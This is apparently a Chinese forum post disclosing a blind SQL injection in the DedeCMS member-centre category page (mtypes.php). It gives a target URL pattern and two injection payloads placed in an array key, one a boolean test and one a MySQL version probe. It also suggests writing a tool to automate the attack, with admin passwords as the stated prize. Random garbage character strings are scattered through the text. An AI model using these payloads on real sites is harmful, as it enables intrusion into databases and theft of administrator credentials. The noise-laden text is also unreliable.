DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
2 ^5 M1 Z2 a/ H. K$ G

发生在数组key里的注射漏洞,有点意思.
5 k$ K  K5 w; Y5 V$ K
6 t. h& f5 B4 R. t5 P0 ^这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
+ t* t, c- L6 v5 n; p
) T; l5 G2 \3 |7 thttp://www.xxx.com /dede/member/mtypes.php?dopost=save

4 H: @1 _1 r# U1 U# qexploit:
/ V* X. K, g3 i5 D! e! Ymtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
: h: r: \+ s' G5 U1 F* C- m4 Kmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r